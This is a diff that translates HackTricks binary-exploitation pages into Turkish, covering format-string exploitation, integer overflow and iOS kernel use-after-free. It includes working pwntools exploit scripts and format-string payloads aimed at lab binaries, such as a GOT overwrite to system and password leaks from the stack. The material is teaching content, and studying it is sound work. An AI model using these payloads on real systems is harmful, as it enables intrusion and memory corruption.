Therefore this operation is done twice, one for the highest 2B of the address and another time for the lowest ones. +Bu nedenle, bu zafiyet **herhangi bir adrese (keyfi yazma)** **yazmaya** olanak tanır. -Therefore, this vulnerability allows to **write anything in any address (arbitrary write).** - -In this example, the goal is going to be to **overwrite** the **address** of a **function** in the **GOT** table that is going to be called later. Although this could abuse other arbitrary write to exec techniques: +Bu örnekte, hedef, daha sonra çağrılacak olan **GOT** tablosundaki bir **fonksiyonun** **adresini** **üst üste yazmak** olacaktır. Bu, diğer keyfi yazma ile exec tekniklerini kötüye kullanabilir: {{#ref}} ../arbitrary-write-2-exec/ {{#endref}} -We are going to **overwrite** a **function** that **receives** its **arguments** from the **user** and **point** it to the **`system`** **function**.\ -As mentioned, to write the address, usually 2 steps are needed: You **first writes 2Bytes** of the address and then the other 2. To do so **`$hn`** is used. +Bir **fonksiyonu** **üst üste yazacağız** ki bu **kullanıcıdan** **argümanlarını** **alır** ve **`system`** **fonksiyonuna** **işaret eder**.\ +Belirtildiği gibi, adresi yazmak için genellikle 2 adım gereklidir: Önce adresin 2 Bayt'ını yazarsınız ve sonra diğer 2'sini. Bunu yapmak için **`$hn`** kullanılır. -- **HOB** is called to the 2 higher bytes of the address -- **LOB** is called to the 2 lower bytes of the address +- **HOB**, adresin 2 en yüksek baytına çağrılır +- **LOB**, adresin 2 en düşük baytına çağrılır -Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one. +Daha sonra, format dizesinin nasıl çalıştığı nedeniyle, önce \[HOB, LOB]'nin en küçüğünü **yazmanız** ve ardından diğerini yazmanız gerekir. -If HOB < LOB\ +Eğer HOB < LOB\ `[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` -If HOB > LOB\ +Eğer HOB > LOB\ `[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB - ```bash python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' ``` +### Pwntools Şablonu -### Pwntools Template - -You can find a **template** to prepare a exploit for this kind of vulnerability in: +Bu tür bir zafiyet için bir exploit hazırlamak üzere bir **şablon** bulabilirsiniz: {{#ref}} format-strings-template.md {{#endref}} -Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): - +Ya da [**buradan**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite) bu temel örneği inceleyebilirsiniz: ```python from pwn import * @@ -225,27 +196,20 @@ p.sendline('/bin/sh') p.interactive() ``` +## Format String'leri ile BOF -## Format Strings to BOF +Bir format stringi zafiyetinin yazma eylemlerini kötüye kullanarak **stack adreslerine yazmak** ve **buffer overflow** türü bir zafiyeti istismar etmek mümkündür. -It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability. - -## Other Examples & References +## Diğer Örnekler ve Referanslar - [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) - [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) - [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak) - [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) - - 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow) +- 32 bit, relro yok, canary yok, nx, pie yok, stack'ten flag'i sızdırmak için format stringlerin temel kullanımı (işlem akışını değiştirmeye gerek yok) - [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win) +- 32 bit, relro, canary yok, nx, pie yok, `fflush` adresini win fonksiyonu ile (ret2win) üzerine yazmak için format string - [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) - - 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands. - -
- -If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). - -{% embed url="https://www.stmcyber.com/careers" %} +- 32 bit, relro, canary yok, nx, pie yok, `.fini_array` içinde main'e bir adres yazmak için format string (böylece akış bir kez daha döner) ve `strlen`'a işaret eden GOT tablosundaki `system` adresini yazmak. Akış main'e geri döndüğünde, kullanıcı girişi ile `strlen` çalıştırılır ve `system`'a işaret eder, geçilen komutları çalıştırır. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md index 0665b14a1..f6ddb1bdd 100644 --- a/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md +++ b/src/binary-exploitation/format-strings/format-strings-arbitrary-read-example.md @@ -2,31 +2,26 @@ {{#include ../../banners/hacktricks-training.md}} -## Read Binary Start - -### Code +## İkili Okuma Başlangıcı +### Kod ```c #include int main(void) { - char buffer[30]; +char buffer[30]; - fgets(buffer, sizeof(buffer), stdin); +fgets(buffer, sizeof(buffer), stdin); - printf(buffer); - return 0; +printf(buffer); +return 0; } ``` - -Compile it with: - +Bunu ile derleyin: ```python clang -o fs-read fs-read.c -Wno-format-security -no-pie ``` - -### Exploit - +### Sömürü ```python from pwn import * @@ -38,16 +33,14 @@ payload += p64(0x00400000) p.sendline(payload) log.info(p.clean()) ``` - -- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address. - - I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141 -- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before -- The address selected is 0x00400000 because it's where the binary starts (no PIE) +- **offset 11'dir** çünkü birkaç A ayarlamak ve **brute-forcing** ile 0'dan 50'ye kadar döngü ile yapılan testler, 11. offsette ve 5 ekstra karakterle (bizim durumumuzda `|` boruları) tam bir adresi kontrol etmenin mümkün olduğunu buldu. +- Adresin tamamının 0x4141414141414141 olması için **`%11$p`** kullandım ve padding ekledim. +- **format string yükü adresin ÖNÜNDEDİR** çünkü **printf bir null byte'ta okumayı durdurur**, bu nedenle adresi gönderirsek ve ardından format string'i gönderirsek, printf format string'e ulaşamaz çünkü bir null byte önce bulunacaktır. +- Seçilen adres 0x00400000'dır çünkü binary'nin başladığı yerdir (PIE yoktur).
-## Read passwords - +## Şifreleri oku ```c #include #include @@ -55,111 +48,103 @@ log.info(p.clean()) char bss_password[20] = "hardcodedPassBSS"; // Password in BSS int main() { - char stack_password[20] = "secretStackPass"; // Password in stack - char input1[20], input2[20]; +char stack_password[20] = "secretStackPass"; // Password in stack +char input1[20], input2[20]; - printf("Enter first password: "); - scanf("%19s", input1); +printf("Enter first password: "); +scanf("%19s", input1); - printf("Enter second password: "); - scanf("%19s", input2); +printf("Enter second password: "); +scanf("%19s", input2); - // Vulnerable printf - printf(input1); - printf("\n"); +// Vulnerable printf +printf(input1); +printf("\n"); - // Check both passwords - if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { - printf("Access Granted.\n"); - } else { - printf("Access Denied.\n"); - } +// Check both passwords +if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { +printf("Access Granted.\n"); +} else { +printf("Access Denied.\n"); +} - return 0; +return 0; } ``` - -Compile it with: - +Bunu ile derleyin: ```bash clang -o fs-read fs-read.c -Wno-format-security ``` +### Yığın'dan Okuma -### Read from stack - -The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack: - +**`stack_password`** yığında saklanacak çünkü bu bir yerel değişken, bu yüzden yığının içeriğini göstermek için printf'i kötüye kullanmak yeterlidir. Bu, yığından şifreleri sızdırmak için ilk 100 konumu BF'lemek için bir istismardır: ```python from pwn import * for i in range(100): - print(f"Try: {i}") - payload = f"%{i}$s\na".encode() - p = process("./fs-read") - p.sendline(payload) - output = p.clean() - print(output) - p.close() +print(f"Try: {i}") +payload = f"%{i}$s\na".encode() +p = process("./fs-read") +p.sendline(payload) +output = p.clean() +print(output) +p.close() ``` - -In the image it's possible to see that we can leak the password from the stack in the `10th` position: +Görüntüde, `10.` pozisyondan yığını kullanarak şifreyi sızdırabileceğimiz görülmektedir:
-### Read data +### Verileri oku -Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference: +Aynı istismarı `%s` yerine `%p` ile çalıştırarak, yığın üzerinden `%25$p` adresinde bir yığın adresi sızdırmak mümkündür. Ayrıca, sızdırılan adresi (`0xaaaab7030894`) o süreçte bellek içindeki şifrenin pozisyonu ile karşılaştırarak adresler arasındaki farkı elde edebiliriz:
-Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability: - +Artık, ikinci format dizesi zafiyetinden erişmek için yığında 1 adresi nasıl kontrol edeceğimizi bulma zamanı: ```python from pwn import * def leak_heap(p): - p.sendlineafter(b"first password:", b"%5$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +p.sendlineafter(b"first password:", b"%5$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) for i in range(30): - p = process("./fs-read") +p = process("./fs-read") - heap_leak_addr = leak_heap(p) - print(f"Leaked heap: {hex(heap_leak_addr)}") +heap_leak_addr = leak_heap(p) +print(f"Leaked heap: {hex(heap_leak_addr)}") - password_addr = heap_leak_addr - 0x126a +password_addr = heap_leak_addr - 0x126a - print(f"Try: {i}") - payload = f"%{i}$p|||".encode() - payload += b"AAAAAAAA" +print(f"Try: {i}") +payload = f"%{i}$p|||".encode() +payload += b"AAAAAAAA" - p.sendline(payload) - output = p.clean() - print(output.decode("utf-8")) - p.close() +p.sendline(payload) +output = p.clean() +print(output.decode("utf-8")) +p.close() ``` - -And it's possible to see that in the **try 14** with the used passing we can control an address: +Ve kullanılan geçişle **try 14**'te bir adresi kontrol edebildiğimizi görebiliriz:
### Exploit - ```python from pwn import * p = process("./fs-read") def leak_heap(p): - # At offset 25 there is a heap leak - p.sendlineafter(b"first password:", b"%25$p") - p.recvline() - response = p.recvline().strip()[2:] #Remove new line and "0x" prefix - return int(response, 16) +# At offset 25 there is a heap leak +p.sendlineafter(b"first password:", b"%25$p") +p.recvline() +response = p.recvline().strip()[2:] #Remove new line and "0x" prefix +return int(response, 16) heap_leak_addr = leak_heap(p) print(f"Leaked heap: {hex(heap_leak_addr)}") @@ -178,7 +163,6 @@ output = p.clean() print(output) p.close() ``` -
{{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/format-strings/format-strings-template.md b/src/binary-exploitation/format-strings/format-strings-template.md index 71e1d4624..718e754e3 100644 --- a/src/binary-exploitation/format-strings/format-strings-template.md +++ b/src/binary-exploitation/format-strings/format-strings-template.md @@ -1,7 +1,6 @@ # Format Strings Template {{#include ../../banners/hacktricks-training.md}} - ```python from pwn import * from time import sleep @@ -36,23 +35,23 @@ print(" ====================== ") def connect_binary(): - global P, ELF_LOADED, ROP_LOADED +global P, ELF_LOADED, ROP_LOADED - if LOCAL: - P = process(LOCAL_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +if LOCAL: +P = process(LOCAL_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTETTCP: - P = remote('10.10.10.10',1338) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +elif REMOTETTCP: +P = remote('10.10.10.10',1338) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - P = ssh_shell.process(REMOTE_BIN) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(elf)# Find ROP gadgets +elif REMOTESSH: +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +P = ssh_shell.process(REMOTE_BIN) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(elf)# Find ROP gadgets ####################################### @@ -60,39 +59,39 @@ def connect_binary(): ####################################### def send_payload(payload): - payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD - log.info("payload = %s" % repr(payload)) - if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") - P.sendline(payload) - sleep(0.5) - return P.recv() +payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD +log.info("payload = %s" % repr(payload)) +if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") +P.sendline(payload) +sleep(0.5) +return P.recv() def get_formatstring_config(): - global P +global P - for offset in range(1,1000): - connect_binary() - P.clean() +for offset in range(1,1000): +connect_binary() +P.clean() - payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() +payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() - if b"41" in recieved: - for padlen in range(0,4): - if b"41414141" in recieved: - connect_binary() - payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" - recieved = send_payload(payload).strip() - print(recieved) - if b"42424242" in recieved: - log.info(f"Found offset ({offset}) and padlen ({padlen})") - return offset, padlen +if b"41" in recieved: +for padlen in range(0,4): +if b"41414141" in recieved: +connect_binary() +payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" +recieved = send_payload(payload).strip() +print(recieved) +if b"42424242" in recieved: +log.info(f"Found offset ({offset}) and padlen ({padlen})") +return offset, padlen - else: - connect_binary() - payload = b" " + payload - recieved = send_payload(payload).strip() +else: +connect_binary() +payload = b" " + payload +recieved = send_payload(payload).strip() # In order to exploit a format string you need to find a position where part of your payload @@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}") connect_binary() if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" - sleep(5) +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" +sleep(5) format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) #format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) @@ -141,5 +140,4 @@ format_string.execute_writes() P.interactive() ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md index cf1a6ca4f..1f1774e45 100644 --- a/src/binary-exploitation/integer-overflow.md +++ b/src/binary-exploitation/integer-overflow.md @@ -1,123 +1,115 @@ -# Integer Overflow +# Tam Sayı Taşması {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Temel Bilgiler -At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data. +Bir **tam sayı taşması**nın merkezinde, bilgisayar programlamasındaki veri türlerinin **boyutu** ve verinin **yorumlanması** tarafından dayatılan sınırlama bulunmaktadır. -For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0. +Örneğin, bir **8-bit işaretsiz tam sayı** **0 ile 255** arasındaki değerleri temsil edebilir. Eğer 256 değerini bir 8-bit işaretsiz tam sayıya depolamaya çalışırsanız, depolama kapasitesinin sınırlılığı nedeniyle değer 0'a döner. Benzer şekilde, **0 ile 65,535** arasındaki değerleri tutabilen bir **16-bit işaretsiz tam sayı** için, 65,535'e 1 eklemek değeri tekrar 0'a döndürür. -Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`). +Ayrıca, bir **8-bit işaretli tam sayı** **-128 ile 127** arasındaki değerleri temsil edebilir. Bunun nedeni, bir bitin işareti (pozitif veya negatif) temsil etmek için kullanılmasıdır, bu da 7 bitin büyüklüğü temsil etmesine olanak tanır. En negatif sayı **-128** (ikili `10000000`) olarak, en pozitif sayı ise **127** (ikili `01111111`) olarak temsil edilir. -### Max values +### Maksimum değerler -For potential **web vulnerabilities** it's very interesting to know the maximum supported values: +Potansiyel **web güvenlik açıkları** için maksimum desteklenen değerleri bilmek oldukça ilginçtir: {{#tabs}} {{#tab name="Rust"}} - ```rust fn main() { - let mut quantity = 2147483647; +let mut quantity = 2147483647; - let (mul_result, _) = i32::overflowing_mul(32767, quantity); - let (add_result, _) = i32::overflowing_add(1, quantity); +let (mul_result, _) = i32::overflowing_mul(32767, quantity); +let (add_result, _) = i32::overflowing_add(1, quantity); - println!("{}", mul_result); - println!("{}", add_result); +println!("{}", mul_result); +println!("{}", add_result); } ``` - {{#endtab}} {{#tab name="C"}} - ```c #include #include int main() { - int a = INT_MAX; - int b = 0; - int c = 0; +int a = INT_MAX; +int b = 0; +int c = 0; - b = a * 100; - c = a + 1; +b = a * 100; +c = a + 1; - printf("%d\n", INT_MAX); - printf("%d\n", b); - printf("%d\n", c); - return 0; +printf("%d\n", INT_MAX); +printf("%d\n", b); +printf("%d\n", c); +return 0; } ``` - {{#endtab}} {{#endtabs}} -## Examples +## Örnekler -### Pure overflow - -The printed result will be 0 as we overflowed the char: +### Saf taşma +Yazdırılan sonuç 0 olacak çünkü char'ı taşırdık: ```c #include int main() { - unsigned char max = 255; // 8-bit unsigned integer - unsigned char result = max + 1; - printf("Result: %d\n", result); // Expected to overflow - return 0; +unsigned char max = 255; // 8-bit unsigned integer +unsigned char result = max + 1; +printf("Result: %d\n", result); // Expected to overflow +return 0; } ``` - ### Signed to Unsigned Conversion -Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation: - +Kullanıcı girdisinden okunan bir işaretli tam sayının, uygun bir doğrulama olmaksızın, işaretsiz bir tam sayı olarak ele alındığı bir durumu düşünün: ```c #include int main() { - int userInput; // Signed integer - printf("Enter a number: "); - scanf("%d", &userInput); +int userInput; // Signed integer +printf("Enter a number: "); +scanf("%d", &userInput); - // Treating the signed input as unsigned without validation - unsigned int processedInput = (unsigned int)userInput; +// Treating the signed input as unsigned without validation +unsigned int processedInput = (unsigned int)userInput; - // A condition that might not work as intended if userInput is negative - if (processedInput > 1000) { - printf("Processed Input is large: %u\n", processedInput); - } else { - printf("Processed Input is within range: %u\n", processedInput); - } +// A condition that might not work as intended if userInput is negative +if (processedInput > 1000) { +printf("Processed Input is large: %u\n", processedInput); +} else { +printf("Processed Input is within range: %u\n", processedInput); +} - return 0; +return 0; } ``` +Bu örnekte, bir kullanıcı negatif bir sayı girerse, bu sayı ikili değerlerin yorumlanma şekli nedeniyle büyük bir işaretsiz tam sayı olarak yorumlanacak ve beklenmedik davranışlara yol açabilir. -In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior. - -### Other Examples +### Diğer Örnekler - [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection +- Parolanın boyutunu saklamak için yalnızca 1B kullanıldığı için, bunu taşırmak ve uzunluğunun 4 olduğunu düşünmesini sağlamak mümkündür, oysa aslında 260'dır ve uzunluk kontrol korumasını atlatır. - [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html) - - Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one: +- Birkaç sayı verildiğinde, z3 kullanarak ilk sayı ile çarpıldığında ikinci sayıyı veren yeni bir sayı bulun: - ``` - (((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) - ``` +``` +(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569) +``` - [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) - - Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections +- Parolanın boyutunu saklamak için yalnızca 1B kullanıldığı için, bunu taşırmak ve uzunluğunun 4 olduğunu düşünmesini sağlamak mümkündür, oysa aslında 260'dır ve uzunluk kontrol korumasını atlatır ve yığında bir sonraki yerel değişkeni üzerine yazarak her iki korumayı da atlatır. ## ARM64 -This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/). +Bu **ARM64'te değişmez**; [**bu blog yazısında**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/) görebilirsiniz. {{#include ../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/ios-exploiting.md b/src/binary-exploitation/ios-exploiting.md index dbf5dc009..5f62da421 100644 --- a/src/binary-exploitation/ios-exploiting.md +++ b/src/binary-exploitation/ios-exploiting.md @@ -1,212 +1,203 @@ # iOS Exploiting -## Physical use-after-free +## Fiziksel kullanımdan sonra serbest bırakma -This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) +Bu, [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) adresindeki gönderiden bir özet olup, bu tekniği kullanarak yapılan exploit hakkında daha fazla bilgi [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd) adresinde bulunabilir. -### Memory management in XNU +### XNU'da Bellek Yönetimi -The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses don’t directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**. +iOS'taki kullanıcı süreçleri için **sanaldan bellek adres alanı** **0x0 ile 0x8000000000** arasında uzanır. Ancak, bu adresler doğrudan fiziksel belleğe karşılık gelmez. Bunun yerine, **kernel** sanal adresleri gerçek **fiziksel adreslere** çevirmek için **sayfa tabloları** kullanır. -#### Levels of Page Tables in iOS +#### iOS'taki Sayfa Tablolarının Seviyeleri -Page tables are organized hierarchically in three levels: +Sayfa tabloları üç seviyede hiyerarşik olarak düzenlenmiştir: -1. **L1 Page Table (Level 1)**: - * Each entry here represents a large range of virtual memory. - * It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory. -2. **L2 Page Table (Level 2)**: - * An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB). - * An L1 entry may point to an L2 table if it can't map the entire region itself. -3. **L3 Page Table (Level 3)**: - * This is the finest level, where each entry maps a single **4 KB** memory page. - * An L2 entry may point to an L3 table if more granular control is needed. +1. **L1 Sayfa Tablosu (Seviye 1)**: +* Buradaki her giriş, geniş bir sanal bellek aralığını temsil eder. +* **0x1000000000 bayt** (veya **256 GB**) sanal belleği kapsar. +2. **L2 Sayfa Tablosu (Seviye 2)**: +* Buradaki bir giriş, daha küçük bir sanal bellek bölgesini, özellikle **0x2000000 bayt** (32 MB) temsil eder. +* Bir L1 girişi, tüm bölgeyi kendisi haritalayamıyorsa bir L2 tablosuna işaret edebilir. +3. **L3 Sayfa Tablosu (Seviye 3)**: +* Bu en ince seviyedir; her giriş tek bir **4 KB** bellek sayfasını haritalar. +* Daha ayrıntılı kontrol gerekiyorsa, bir L2 girişi bir L3 tablosuna işaret edebilir. -#### Mapping Virtual to Physical Memory +#### Sanal Belleği Fiziksel Belleğe Haritalama -* **Direct Mapping (Block Mapping)**: - * Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut). -* **Pointer to Child Page Table**: - * If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2). +* **Doğrudan Haritalama (Blok Haritalama)**: +* Bir sayfa tablosundaki bazı girişler, bir dizi sanal adresi kesintisiz bir fiziksel adres aralığına doğrudan **haritalar** (kısa yol gibi). +* **Çocuk Sayfa Tablosuna İşaretçi**: +* Daha ince kontrol gerekiyorsa, bir seviyedeki (örneğin, L1) bir giriş, bir sonraki seviyedeki (örneğin, L2) bir **çocuk sayfa tablosuna** işaret edebilir. -#### Example: Mapping a Virtual Address +#### Örnek: Sanal Bir Adresi Haritalama -Let’s say you try to access the virtual address **0x1000000000**: +Diyelim ki sanal adres **0x1000000000**'e erişmeye çalışıyorsunuz: -1. **L1 Table**: - * The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table. -2. **L2 Table**: - * The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there. -3. **L3 Table**: - * The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page. +1. **L1 Tablosu**: +* Kernel, bu sanal adrese karşılık gelen L1 sayfa tablosu girişini kontrol eder. Eğer bir **L2 sayfa tablosuna işaretçi** varsa, o L2 tablosuna gider. +2. **L2 Tablosu**: +* Kernel, daha ayrıntılı bir haritalama için L2 sayfa tablosunu kontrol eder. Eğer bu giriş bir **L3 sayfa tablosuna** işaret ediyorsa, oraya devam eder. +3. **L3 Tablosu**: +* Kernel, gerçek bellek sayfasının **fiziksel adresine** işaret eden son L3 girişini arar. -#### Example of Address Mapping +#### Adres Haritalama Örneği -If you write the physical address **0x800004000** into the first index of the L2 table, then: +Eğer fiziksel adres **0x800004000**'i L2 tablosunun ilk indeksine yazarsanız, o zaman: -* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**. -* This is a **block mapping** at the L2 level. +* **0x1000000000** ile **0x1002000000** arasındaki sanal adresler, **0x800004000** ile **0x802004000** arasındaki fiziksel adreslere haritalanır. +* Bu, L2 seviyesinde bir **blok haritalama**dır. -Alternatively, if the L2 entry points to an L3 table: +Alternatif olarak, eğer L2 girişi bir L3 tablosuna işaret ediyorsa: -* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table. +* **0x1000000000 -> 0x1002000000** sanal adres aralığındaki her 4 KB sayfa, L3 tablosundaki bireysel girişler tarafından haritalanır. -### Physical use-after-free +### Fiziksel Kullanımdan Sonra Serbest Bırakma -A **physical use-after-free** (UAF) occurs when: +Bir **fiziksel kullanımdan sonra serbest bırakma** (UAF) durumu, şu durumlarda meydana gelir: -1. A process **allocates** some memory as **readable and writable**. -2. The **page tables** are updated to map this memory to a specific physical address that the process can access. -3. The process **deallocates** (frees) the memory. -4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free. -5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**. -6. Since the mapping wasn’t removed, the process can still **read and write** to this physical memory. +1. Bir süreç bazı belleği **okunabilir ve yazılabilir** olarak **ayırır**. +2. **Sayfa tabloları**, bu belleği erişebileceği belirli bir fiziksel adrese haritalamak için güncellenir. +3. Süreç belleği **serbest bırakır** (boşaltır). +4. Ancak, bir **hata** nedeniyle, kernel **haritalamayı** sayfa tablosundan kaldırmayı unutur, oysa ilgili fiziksel belleği serbest olarak işaretler. +5. Kernel, bu "serbest bırakılmış" fiziksel belleği, **kernel verileri** gibi diğer amaçlar için **yeniden tahsis edebilir**. +6. Haritalama kaldırılmadığı için, süreç bu fiziksel belleğe hala **okuma ve yazma** yapabilir. -This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**. +Bu, sürecin **kernel belleği** sayfalarına erişebilmesi anlamına gelir; bu sayfalar hassas veriler veya yapılar içerebilir ve potansiyel olarak bir saldırganın **kernel belleğini manipüle etmesine** olanak tanır. -### Exploitation Strategy: Heap Spray +### Sömürü Stratejisi: Heap Spray -Since the attacker can’t control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**: +Saldırgan, hangi belirli kernel sayfalarının serbest bırakılmış belleğe tahsis 